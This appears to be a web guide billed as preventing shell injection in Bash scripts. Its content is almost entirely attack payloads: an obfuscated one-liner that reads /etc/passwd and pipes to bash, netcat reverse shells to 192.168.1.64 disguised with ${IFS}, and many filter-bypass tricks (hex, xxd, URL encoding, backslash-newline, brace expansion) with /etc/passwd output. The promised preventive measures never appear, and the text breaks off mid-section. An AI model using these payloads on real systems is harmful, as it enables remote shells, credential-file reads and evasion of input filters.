Shell Injection Techniques: Preventing Vulnerabilities in Bash Scripts
Discover shell injection techniques and strategies to protect your Bash scripts from vulnerabilities. This comprehensive guide provides insights into different types of shell injections and offers solutions to mitigate risks. Explore examples of command injection, parameter expansions, obfuscated commands, and bypass techniques with detailed explanations and preventive measures.
eval <(ls)
echo "Your home directory is: ${HOME:-/home/$USER}."
echo ${!BASH*}
eval "$(E3LFbgu='CAT /ETC/PASSWD';printf %s "${E3LFbgu~~}")"
Deliberately Obfuscated Shell Command
This oneliner I found on GitHub in a bash framework designed for penetration testers. It's a fascinating example of how shell scripting can be obfuscated. Let's break this down and understand its components:
-
Parameter Expansions:
$@, ${*}, ${@~~ }
, and similar constructs, are examples of parameter expansions in bash.$@
and${*}
both refer to all positional parameters passed to the script. However, their behavior diverges when quoted.$@
expands each parameter as a separate word, while${*}
consolidates them into a single word. -
Escape Sequences:
\p, \r, \n
, and the like, are escape sequences used in shell scripting. They represent control characters like newline (\n
), carriage return (\r
), and others, which are used for formatting output in the terminal. -
String Manipulation:
The script uses various forms of string manipulation such as${@,, }
,${*%%+Y,B;pv }
,${@%%@cil:\}W }
, and so on. These are sophisticated methods for substring removal or case modification within the values of the parameters. -
Command Misdirection:
The presence ofCAT /ETC/PASSWD
is intriguing. Normally, one would usecat /etc/passwd
to read the system's user account information. However, this command is written in a non-standard way, possibly to evade detection or as a part of the obfuscation. -
Pattern Replacement:
${*//^PNN }
,${@//6?*G.\)\/LJ\[k3 }
, and similar constructs are examples of pattern replacement within the parameter expansions. They are used to modify the contents of parameters based on specified patterns. -
ANSI-C Quoting:
$'\x62''a'sh
is an example of ANSI-C quoting combined with string concatenation. This is a clever way to represent the commandbash
in a non-obvious manner.
Here's the complete script for reference:
$@ "${@~~ }" \p${@,, }r""i${*, }n${*%%+Y,B;pv }t${@%%@cil:\}W }f %s "$( _aWJ5_a='CAT /ETC/PASSWD' "${@%%B6qv#j@= }" ${*/+Re\ew? } && ${@%^JjcVY:I } p\r"i"${*}n't'f %s "${_aWJ5_a~~}" ${ @%%Vm\)?X } \$@ ${*//^PNN } )" ${@//6?*G.\)\/LJ\[k3 } | "${@~~ }" $* $'\x62''a'sh ${*/9\[>f } ${*~ }
${IFS}nc${IFS}192.168.1.64${IFS}1337${IFS}-e${IFS}/bin/sh${IFS}
echo `nc${IFS}192.168.1.64${IFS}1337${IFS}-e${IFS}/bin/sh`
"'''''''''''''`ls`"""""""""""""""
"`ls`"""""""""""""""
"`ls`"""
"`ls`"
`ls`
$(ls) # $()
ls; id # ;
ls${LS_COLORS:10:1}${IFS}id
Bypass with backslash newline
$ cat /et\
c/pa\
sswd
URL encoded form would look like this
cat%20/et%5C%0Ac/pa%5C%0Asswd
Bypass characters filter via hex encoding
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
Filter Bypasses
$IFS
is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS
as a space. $IFS
does not directly work as a seperator in commands like ls
, wget
; use ${IFS}
instead.
cat${IFS}/etc/passwd
ls${IFS}-la
In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
{cat,/etc/passwd}
Input redirection. The < character tells the shell to read the contents of the file specified. ANSI-C Quoting
X=$'uname\x20-a'&&$X